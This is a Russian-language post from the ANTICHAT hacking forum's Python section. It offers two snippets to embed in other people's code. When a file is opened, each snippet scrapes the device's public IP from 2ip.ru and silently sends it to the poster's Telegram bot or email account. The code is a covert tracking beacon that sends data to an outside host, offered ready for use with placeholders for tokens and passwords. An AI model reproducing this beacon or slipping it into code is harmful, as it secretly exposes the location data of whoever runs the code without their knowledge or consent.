HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > Python
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 08.05.2021, 22:23
ivankaspersky
Новичок
Регистрация: 01.08.2020
Сообщений: 21
С нами: 3043895

Репутация: 3
По умолчанию

Возможно кому-то полезная штука, которую можно будет вставить в ваш код.

Суть в том, что когда будет открыт файл, вам на почту, либо в телеграм придёт IP устройства с которого был открыт файл.

В случае с телеграмом будем использовать 3 библиотеки.

bs4

telebot

requests

ПЕРЕД НАПИСАНИЕМ/ИСПОЛЬЗОВАНИЕМ ОБЯЗАТЕЛЬНО СОЗДАЙТЕ ЧАТ С БОТОМ, КОТОРОГО ВЫ СОЗДАЛИ.


telegram-v:





Код:
import
requests
import
telebot
from
bs4
import
BeautifulSoup

TOKEN
=
'Токен вашего бота'
bot
=
telebot
.
TeleBot
(
TOKEN
)
def
getip
(
)
:
url
=
'https://2ip.ru/'
#делаем запрос
response
=
requests
.
get
(
url
)
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#ищем класс ip
ipget
=
soup
.
find
(
class_
=
'ip'
)
#в этом классе ищем содержимое тэга span
ip
=
ipget
.
find
(
'span'
)
.
text
    realip
=
ip
return
realip
#возвращаем полученный ip
realip
=
getip
(
)
bot
.
send_message
(
ВАШ USER ID ТЕЛЕГРАМА
(
узнать
-
@getmyid_bot
)
,
f'Зафиксировано новое открытие.\nIP -{realip}\n(данные с 2ip.ru)'
)


В случае с почтой:

Вам потребуется создать почту, на которую будет приходить адрес, и почту с которой будет отправлен адрес.​

mail-v:





Код:
import
requests
import
smtplib
from
bs4
import
BeautifulSoup
from
email
.
mime
.
multipart
import
MIMEMultipart
from
email
.
mime
.
text
import
MIMEText
def
getip
(
)
:
url
=
'https://2ip.ru/'
#make a request
response
=
requests
.
get
(
url
)
#make a soup
soup
=
BeautifulSoup
(
response
.
text
,
'lxml'
)
#find class 'ip'
ipget
=
soup
.
find
(
class_
=
'ip'
)
ip
=
ipget
.
find
(
'span'
)
.
text
    realip
=
ip
return
realip
#result getip from 2ip
realip
=
getip
(
)
addr_from
=
"***@mail.ru"
#почта, с которой будет слаться IP(обязательно mail. Можно и другую, но код будет немного другой.)
addr_to
=
"***@***.***"
#куда будет приходить
password
=
"***"
#пароль от почты, с которой будет слаться IP
#made message
msg
=
MIMEMultipart
(
)
msg
[
'From'
]
=
addr_from
msg
[
'To'
]
=
addr_to
msg
[
'Subject'
]
=
'New IP'
#вместо New IP можете указать что угодно, это тема сообщения.
#body of message
body
=
realip
msg
.
attach
(
MIMEText
(
body
,
'plain'
)
)
server
=
smtplib
.
SMTP
(
'smtp.mail.ru'
,
587
)
server
.
starttls
(
)
server
.
login
(
addr_from
,
password
)
server
.
send_message
(
msg
)







Вы можете выставить это в ваш код на питоне. Можно так же спарсить данные с сервиса WHOIS, получить от туда город и страну, но это вы уже сами)

Если вылезают ошибки - пишите, помогу.
 
Ответить с цитированием
 



Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.